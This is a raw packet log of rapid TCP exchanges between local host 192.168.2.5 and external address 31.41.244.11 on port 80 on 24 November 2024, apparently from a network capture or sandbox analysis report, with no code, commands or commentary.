Nov 24, 2024 10:24:18.597976923 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.598118067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.599080086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.599133968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.599303007 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.599354029 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.600370884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.600418091 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.600559950 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.600605965 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.601438999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.601454973 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.601483107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.601499081 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.602353096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.602369070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.602401972 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.602412939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.602545977 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.602591991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.602617025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.602672100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.603792906 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.603859901 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.603892088 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.603938103 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.604811907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.604856968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.604911089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.604953051 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.605779886 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.605823040 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.605865955 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.605907917 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.606971979 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.607017040 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.607044935 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.607089996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.608151913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.608197927 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.608227968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.608272076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.609251022 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.609297991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.609337091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.609378099 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.610272884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.610316038 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.610435009 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.610481977 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.611404896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.611449957 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.611478090 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.611521959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.612556934 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.612602949 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.612684011 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.612730980 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.613667965 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.613713980 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.613859892 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.613903999 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.614933968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.614985943 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.616935015 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.616981983 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.618848085 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.618864059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.618880033 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.618890047 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.618911028 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.618922949 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.619015932 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.619054079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.619944096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.619960070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.619990110 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.620004892 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.620923042 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.620966911 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.621068001 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.621109962 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.621948957 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.621994019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.622138023 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.622183084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.622773886 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.622821093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.623131990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.623172045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.624139071 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.624181032 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.624330044 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.624372005 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.625191927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.625206947 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.625236034 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.625247955 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.626298904 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.626343966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.626470089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.626516104 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.627481937 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.627530098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.627659082 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.627703905 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.628514051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.628560066 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.628694057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.628735065 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.629723072 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.629744053 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.629764080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.629781961 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.630744934 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.630789995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.630970955 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.631016970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.632030010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.632045031 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.632074118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.632086992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.633029938 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.633078098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.633176088 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.633189917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.633205891 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.633217096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.633229017 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.633248091 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.634183884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.634229898 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.634351015 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.634396076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.635426044 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.635478020 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.635494947 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.635538101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.639597893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.639612913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.639628887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.639643908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.639658928 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.639666080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.639678001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.639697075 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.639760971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.639802933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.639919043 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.639960051 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.641067982 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.641133070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.641232967 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.641274929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.642194986 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.642241001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.642335892 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.642379045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.643455029 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.643470049 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.643503904 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.643518925 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.644414902 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.644460917 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.644598961 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.644640923 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.644738913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.644754887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.644783974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.644798994 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.645391941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.645442963 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.645474911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.645519018 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.646517992 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.646560907 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.646660089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.646707058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.647617102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.647659063 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.790797949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.790929079 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.790936947 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.791003942 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.791264057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.791311026 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.791636944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.791654110 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.791678905 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.791690111 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.792543888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.792601109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.792718887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.792771101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.793742895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.793797970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.793904066 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.793951035 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.794822931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.794877052 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.795169115 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.795222044 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.796036005 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.796092987 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.796222925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.796269894 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.797240973 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.797256947 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.797291994 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.797317028 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.798149109 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.798198938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.798472881 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.798525095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.799513102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.799529076 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.799572945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.799597025 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.800510883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.800573111 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.800697088 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.800777912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.801642895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.801706076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.801815033 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.801865101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.802836895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.802905083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.802992105 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.803041935 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.803999901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.804016113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.804060936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.804070950 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.805200100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.805257082 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.805278063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.805325031 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.806200027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.806216002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.806269884 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.806288004 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.807509899 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.807524920 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.807591915 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.808511019 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.808545113 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.808545113 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.808700085 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.808746099 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.809565067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.809607983 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.809837103 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.809876919 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.810837030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.810853958 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.810882092 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.810892105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.811968088 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.811981916 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.812021017 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.812972069 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.813018084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.813118935 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.813158035 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.814156055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.814214945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.814318895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.814359903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.815375090 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.815423012 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.815543890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.815588951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.816442013 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.816464901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.816484928 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.816498995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.817255020 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.817271948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.817312002 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.817370892 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.818464994 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.818530083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.819092989 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.819153070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.819709063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.819724083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.819757938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.819770098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.820194960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.820209980 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.820288897 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.820583105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.821016073 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.821060896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.821132898 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.821173906 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.824506044 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.824522972 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.824561119 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.824598074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.825176001 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.825248957 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.825278997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.825320959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.825454950 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.825469971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.825496912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.825555086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.826546907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.826595068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.826800108 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.826844931 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.827737093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.827784061 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.827914953 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.827958107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.828836918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.828887939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.829009056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.829052925 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.829379082 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.829395056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.829426050 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.829440117 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.830655098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.830672026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.830703020 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.830713987 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.831680059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.831696033 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.831727982 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.831739902 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.833400965 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.833448887 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.833585024 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.833631992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.834924936 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.834939957 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.834969997 CET	49813	80	192.168.2.5	31.41.244.11
